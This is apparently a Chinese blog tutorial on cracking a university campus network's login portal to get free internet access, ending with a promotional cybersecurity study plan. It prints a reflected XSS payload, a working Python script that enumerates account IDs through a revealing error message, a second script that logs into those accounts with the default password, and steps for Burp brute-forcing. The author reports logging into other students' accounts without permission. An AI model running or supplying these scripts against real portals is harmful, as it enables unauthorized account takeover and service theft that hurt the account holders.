下面会介绍两种破解方法
下面介绍的方法是用于账号和密码知道二者其一才行,如果二者都不知道,那就你费些时间了,这我就不多说了,懂得都懂…
我先说一下破解思路:
其实很简单,无非就是跑字典,我们第一步就是要先生成字典,第二步去进行测试,就是类似于正常人登录一样,只不过我这是用脚本跑的,更快。
目录
利用python脚本破解
利用kali中的burp进行破解
利用python脚本破解
简介
前端做的不是很好,前端UI布局写的较差,后端接口也不太严谨,能够透露出些信息容易被利用,在找漏洞的过程中发现一个反射型的xss,用处不是很大毕竟要受害者点击才能执行恶意代码,我找到的这些东西和思路都总结在下面。
反射型XSS
![](https://img-
blog.csdnimg.cn/img_convert/089920a8b711af789dcc70a14446b034.png)
http://10.100.10.100:801/eportal/portal/mac/unbind?callback=<script>alert("xss");</script>
一个危害不大的反射型XSS,下面就是文章的主题,如何蹭网!
认证网址
http://10.100.10.100 // 用户认证
http://10.100.10.3:8080/Self/login // 用户后台登录
http://10.100.10.100:9002 //注销登录
http://10.100.10.100:801 // 主后台管理
分析认证
![](https://img-
blog.csdnimg.cn/img_convert/984efbdb5073a9b963ffc79b3917a3f5.png)
蹭网原理
蹭网的方法有很多,比较流行的是基于端口(可以自行百度),还有就是通过改主机MAC地址(已经上线了的主机MAC,把自己MAC的改成他的,那么两个能够同时上网,在这里会有一点小瑕疵,流量一下你这一下他那,总的来说是可以上网的)。
![](https://img-
blog.csdnimg.cn/img_convert/721153ae970b0b717c565a28059c5728.png)
可以发现我随便输入一个不存在的账号加一个错误的密码,登录返回的信息居然是账号不存在?
不得了,通过上面的信息完全就可以跑手机号,一想到联通手机号开头是 130、131、132、155、156、185、186、145、176。
后面的数可以进行程序进行猜,一般来说安全意识不强的人不会拿到账号去更改密码的。
所以容易留下弱口令,校园网给的密码是6个6 或 1~6 只要拿到账号那岂不是就能登上去了?废话不多说开始写代码。。。
import requests import re import itertools import multiprocessing import os url = "http://10.100.10.100/drcom/login" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36’
}def checkUserId(userId): params = { "callback": "dr1003", "DDDDD": f"{userId}@unicom", "upass": "1", "0MKKey": "000", "R1": "0", "R2": "", "R3": "0", "R6": "0", "para": "00", "v6ip": "", "terminal_type": "1", "lang": "zh-cn", "jsVersion": "4.2", "v": "6687", "lang": "zh" } try: res = requests.get(url, params=params, headers=headers).text data = re.findall(r'"msga":"(.*?)"', res) if data[0] != "userid error1": with open(fr"{os.getcwd()}\userId.txt", "a") as f: f.writelines(userId + "\n") print(userId, "√") else: print(userId, "x") except Exception as e: print(f"Error for user ID {userId}: {e}") return e if __name__ == '__main__': results = [] prefix_list = ["1767399"] # Create numbers list #“1767399”
可以随便改
num_processes = 2 # Create 2 multiprocessespool = multiprocessing.Pool(num_processes) for suffix in itertools.product(range(0, 10), repeat=4): suffix_str = ''.join(map(str, suffix)) for prefix in prefix_list: user_id = f"{prefix}{suffix_str}" result = pool.apply_async(checkUserId, args=(user_id,)) results.append(result) # Wait for all processes to finish pool.close() pool.join() # Print any exceptions that occurred during execution for result in results: if result.get() is not None: print(result.get())
代码运行
这里我只写了Python3的脚本,就不用其他语言了,做这种事还是Python用的方便些。
![](https://img-
blog.csdnimg.cn/img_convert/ba2c5fba74bd9203b8926240f4f9ec74.png)
运行结果
![](https://img-
blog.csdnimg.cn/img_convert/56ad6b127c8b2aaa6472165df4224532.png)
我运行一半就不跑了毕竟不是来搞破坏的,先看看保存的手机号有610多个手机号,效果还可以。
![](https://img-
blog.csdnimg.cn/img_convert/18ea3ae64b3199e48ed0efe50123f3a2.png)
随便拿个账号试试 密码6个6 和我想得一样 登录成功!!
![](https://img-
blog.csdnimg.cn/img_convert/03e46827ab114d26c467c22e0cde158b.png)
其他的账号都是一样,可以发现他现,在上网就不打扰他了。
安全总结
1.前端的错误提示不要给的太明显,可以写成这样 “账号或者密码错误”。
2.对账号密码的加密,虽然可以通过JS逆向出来但也可以增加安全性。
3.对前端错误次数做限制再加上验证码,虽然可以破解但也可以增加安全性。
4.当你拿到账号时登录后请先修改强密码,防止弱口令登录。
危害总结
1.登录后别人可以使用您的网络 可以等你下线再使用或者直接使用你的账号上网。
2.可以对你进行断网操作,危害校园网较大影响网络体验导致投诉。
3.可以修改你的密码,由于后台更改密码需要身份证,但并没有完善。
4.账号并没有绑定身份证,导致只能去办理校园网那里更改较麻烦。
修改密码
可以发现如果密码被改了,自己是无法从外面修改自己的密码的只能去办理校园网那里进行修改。
![](https://img-
blog.csdnimg.cn/img_convert/28d38a2b2f111fd0cd2682c8685d61cd.png)
修改密码
修改无效
![](https://img-
blog.csdnimg.cn/img_convert/b4204da388f4bddbe58cb42f6d12bae3.png)
Wifi共享思路
既然都有账号密码,那我岂不是可以免费上网了,由于最后一个学期了就没办校园卡,
于是写了个遍历判断如果在上网的用户就不打扰了,只连不在上网的用户这样就好了。
import requests import re url = "http://10.100.10.100/drcom/login" with open("userId.txt", "r") as f: for line in f.readlines(): user_id = line.strip() params = { "callback": "dr1003", "DDDDD": f"{user_id}@unicom", "upass": "666666", "0MKKey": "123456", "R1": "0", "R2": "", "R3": "0", "R6": "0", "para": "00", "v6ip": "", "terminal_type": "1", "lang": "zh-cn", "jsVersion": "4.2", "v": "6687", "lang": "zh" } res = requests.get(url, params=params) cont = re.findall(r'{"result":(.*?),', res.text) print(cont) if cont and cont[0] == "1": print(f"{user_id}, 登录成功~") break
这样就可以破解校园网了,下面介绍另一种方法。
利用kali中的burp进行破解
kali想必大家都知道吧,里面的工具burp我就不跟大家过多叙述了,下面直接进入主题(我这里是知道密码,不知账号得情况,如果你们的是知道账号,不知密码也可以用以下方法)
首先我们先生成字典
这里的crunch是kali上的一个工具,-t表示%是数字,前面两个11分别表示的是生成的数字最短是11位,最长也是11位,>>是将生成的字典保存在tjy.txt中。
生成字典的方法还有很多,当平台不让发,所以你们去网上找找啦
然后我们对校园网站进行抓包,如下
开始破解了
看响应码和长度,有不同的话进去看响应包
以上就是klai利用burp破解的过程
希望大家喜欢!!!
接下来我将给各位同学划分一张学习计划表!
学习计划
那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:
阶段一:初级网络安全工程师
接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。
综合薪资区间6k~15k
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?
阶段二:中级or高级网络安全工程师(看自己能力)
综合薪资区间15k~30k
7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。
零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;
Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完
用Python编写漏洞的exp,然后写一个简单的网络爬虫
PHP基本语法学习并书写一个简单的博客系统
熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)
了解Bootstrap的布局或者CSS。
阶段三:顶级网络安全工程师
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
学习资料分享
当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。